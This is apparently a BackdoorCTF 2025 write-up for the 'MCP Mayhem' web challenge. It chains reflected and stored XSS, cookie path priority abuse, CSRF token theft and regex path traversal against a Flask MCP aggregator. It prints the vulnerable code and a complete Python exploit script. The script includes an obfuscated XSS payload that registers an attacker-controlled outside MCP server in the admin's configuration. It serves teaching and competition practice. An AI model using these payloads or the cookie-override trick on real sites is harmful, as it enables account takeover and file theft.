BackdoorCTF 2025WebSolved

MCP Mayhem

PR
Prylo Team
December 10, 2025
5 min read

Competition

BackdoorCTF 2025

Difficulty

Hard

Points

340

Estimated Read

5 min

webxssmcppath-traversalcookie-prioritycsrf
Key Takeaways

Critical concepts & techniques

  • Cookie Path Priority: Browsers send cookies with more specific paths first, which can be abused to override session cookies in specific contexts.
  • Input Sanitization: Never blindly trust user input or use `safe` filters in templates without rigorous validation.
  • MCP Security Risks: The Model Context Protocol's elicitation feature can grant upstream servers dangerous access if not properly sandboxed.
  • Defence in Depth: Relying on a single secret (like a JWT key) or mechanism (CORS) is insufficient; layers of security are required.

Challenge Overview

Welcome to our brand new MCP (Model Context Protocol) aggregator service! Connect to multiple servers, call tools, and do math operations - all through one sleek proxy. Surely there's nothing that could go wrong with this modern architecture... right?

Architecture Analysis

Application Structure

The challenge consists of a Flask-based MCP (Model Context Protocol) aggregator with the following components:

  • Flask Web App: Handles auth, admin panel, and client interface.
  • MCP Proxy Server: Aggregates multiple MCP servers via SSE.
  • Admin Bot: Puppeteer bot that visits given URLs.

Key Components

  1. Flask Web Application:

    • Authentication: Flask-Login.
    • Admin Panel: Manages MCP servers.
    • Client Interface: Calls tools.
  2. MCP Proxy Server:

    • Aggregates MCP servers.
    • Proxies tool calls.
    • Handles elicitation requests (critical for exploit).
  3. Admin Bot:

    • Visits http://client.challenge.com:6001/call.
    • Runs with admin session cookie.

Vulnerability Discovery

Vulnerability #1: Reflected XSS

Location: templates/client/call.html

When a tool call fails, the data.result is injected via innerHTML without sanitization.

if (data.result) {
  resultContent.innerHTML = data.result; // XSS!
}

Vulnerability #2: Stored XSS

Location: templates/auth/account_detail.html

The user description is rendered using the |safe filter, allowing arbitrary HTML.

<div class="text-gray-300">{{ current_user.description|safe }}</div>

Vulnerability #3: Path Traversal

Location: client/routes.py

The elicitation handler uses a regex that permits directory traversal sequences.

match = re.search(r'uploads/([^":\s]+)', params.message)
if match:
    file_path = f"uploads/{match.group(1)}"  # Path traversal!

Regex uploads/([^":\s]+) allows uploads/../flag.txt.

Vulnerability #4: Cookie Path Priority

According to RFC 6265, cookies with more specific paths are sent first. We can abuse this to force the Flask application to use our session cookie instead of the admin's when the admin visits /profile.

  • Admin cookie: session=<admin>; path=/
  • Our cookie: session=<attacker>; domain=challenge.com; path=/profile

When the admin visits /profile, the browser sends our cookie first. Flask uses it, loads our profile (populated with Stored XSS), and executes our payload.

Exploit Development

Attack Goal

  1. Add a malicious MCP server to the admin's configuration.
  2. Call a tool from our server that triggers elicitation.
  3. Elicitation handler reads flag.txt via path traversal.
  4. Receive flag in tool response.

The Exploit Chain

  1. Setup: Register an account with a Stored XSS payload in the "About" section. This payload adds our malicious MCP server.
  2. Trigger: Send a Reflected XSS payload to the admin bot.
    • The payload sets a cookie session=<attacker_session>; path=/profile.
    • It redirects the admin to /profile.
  3. Execution:
    • The admin visits /profile.
    • Due to path priority, the browser sends our session cookie.
    • Flask loads our profile, executing the Stored XSS.
    • The Stored XSS (now running) uses the Admin's base session cookie (since API requests don't match /profile path) to add our server.
  4. Flag: We call our malicious tool, which triggers the path traversal elicitation and returns the flag.

Exploit Flow Diagram

[Attacker]                         [Admin Bot]                        [Server]
    |                                   |                                 |
    | 1. Register w/ Stored XSS         |                                 |
    |-------------------------------------------------------------------->|
    | 2. Send Reflected XSS URL         |                                 |
    |---------------------------------->|                                 |
    |                                   |                                 |
    |                                   | 3. Bot executes Reflected XSS   |
    |                                   |    (Sets path=/profile cookie)  |
    |                                   |    (Redirects to /profile)      |
    |                                   |                                 |
    |                                   | 4. GET /profile                 |
    |                                   |-------------------------------->|
    |                                   | 5. Return Attacker Profile      |
    |                                   |    (w/ Stored XSS)              |
    |                                   |<--------------------------------|
    |                                   |                                 |
    |                                   | 6. Stored XSS Executes          |
    |                                   |    (ADD Malicious Server)       |
    |                                   |-------------------------------->|
    |                                   |                                 |
    | 7. Call Malicious Tool            |                                 |
    |-------------------------------------------------------------------->|
    |                                   |                                 |
    | 8. Tool triggers Elicitation      |                                 |
    |    (Path Traversal to flag)       |                                 |
    |<--------------------------------------------------------------------|
    |                                   |                                 |
    | 9. Profit (Flag)                  |                                 |

Final Exploit Code

#!/usr/bin/env python3
"""
MCP Mayhem - Final Exploit
"""
import requests
import time
import base64

CHALLENGE_URL = "http://104.198.24.52:6001"
BOT_URL = "http://104.198.24.52:6002"
MCP_URL = "https://59d00e21ae56.ngrok-free.app/sse"

USER = f"pwn_{int(time.time())}"
PASS = "password123"
SERVER = f"s{int(time.time()) % 10000}"

# Stored XSS: Adds our server
stored_js = f'''
(async function(){{
try{{
var r=await fetch("/admin/csrf-token");
var d=await r.json();
if(d.csrf_token){{
await fetch("/admin/mcp/add-server",{{
method:"POST",
headers:{{"Content-Type":"application/json"}},
body:JSON.stringify({{csrf_token:d.csrf_token,name:"{SERVER}",url:"{MCP_URL}"}})
}});
}}
}}catch(e){{}}
}})();
'''
stored_b64 = base64.b64encode(stored_js.encode()).decode()
stored_xss = f'<script>eval(atob("{stored_b64}"))</script>'

print(f"[*] Registering {USER}...")
reg_session = requests.Session()
reg_session.post(
    f"{CHALLENGE_URL}/register",
    data={"username": USER, "password": PASS, "confirm_password": PASS, "about": stored_xss},
    headers={"Host": "challenge.com:6001"},
    allow_redirects=False
)

# Login to get cookie
login_resp = reg_session.post(
    f"{CHALLENGE_URL}/login",
    data={"username": USER, "password": PASS},
    headers={"Host": "challenge.com:6001"},
    allow_redirects=False
)
USER_COOKIE = login_resp.cookies.get("session")
print(f"[*] User cookie: {USER_COOKIE[:20]}...")

# Reflected XSS: Cookie Path Manipulation
xss_js = f'''
document.cookie='session={USER_COOKIE};domain=challenge.com;path=/profile';
location.href='http://challenge.com:6001/profile';
'''
xss_clean = ' '.join(xss_js.split())
xss = f"<img src=x onerror=\"{xss_clean}\">"

print(f"[*] Sending XSS to bot...")
requests.post(BOT_URL, data={"tool": xss, "arguments": "{}"})

print(f"[*] Waiting for bot...")
time.sleep(12)

print(f"[*] Exfiltrating flag...")
test = requests.post(
    f"{CHALLENGE_URL}/call",
    json={"tool": f"{SERVER}_read_flag", "arguments": {}},
    headers={"Host": "client.challenge.com:6001"}
)
print(f"[*] Result: {test.text}")
Attack Chain Visualization
1

Reflected XSS: Identified XSS in the tool call error handling (`innerHTML` injection).

2

Stored XSS: Found XSS in the user profile description (unsafe Jinja2 filter).

3

Cookie Manipulation: Abused cookie path specificity (`path=/profile`) to force the admin to view our profile with our own session context.

4

CSRF Bypass: Used the stored XSS (running in our context) to fetch the admin's CSRF token and add a malicious MCP server.

5

Path Traversal: Exploited a regex flaw in the elicitation handler to read the flag via the malicious MCP server.

Flag (confidential)

Visible only after reveal

Want to check the flag? Click below to reveal it.

Related Writeups